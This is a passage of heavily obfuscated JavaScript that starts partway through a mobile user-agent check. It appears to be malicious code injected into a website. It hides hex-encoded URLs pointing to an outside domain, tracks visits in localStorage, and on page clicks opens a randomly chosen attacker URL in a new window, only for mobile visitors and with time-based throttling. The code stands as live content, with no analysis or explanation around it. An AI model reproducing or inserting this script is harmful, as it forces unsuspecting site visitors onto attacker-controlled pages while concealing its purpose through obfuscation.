)|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\x68\x74\x74\x70\x3a\x2f\x2f\x67\x65\x74\x74\x69\x6e\x67\x6d\x65\x2e\x69\x6e\x66\x6f\x2f\x6b\x6c\x53\x30\x63\x310','\x68\x74\x74\x70\x3a\x2f\x2f\x67\x65\x74\x74\x69\x6e\x67\x6d\x65\x2e\x69\x6e\x66\x6f\x2f\x70\x59\x44\x31\x63\x331',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());